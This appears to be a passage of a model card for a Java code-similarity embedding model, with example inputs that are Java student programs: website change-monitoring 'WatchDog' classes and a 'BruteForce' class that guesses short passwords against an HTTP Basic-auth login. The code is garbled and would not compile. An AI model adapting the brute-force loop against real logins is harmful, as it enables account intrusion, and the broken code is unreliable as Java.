(intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int 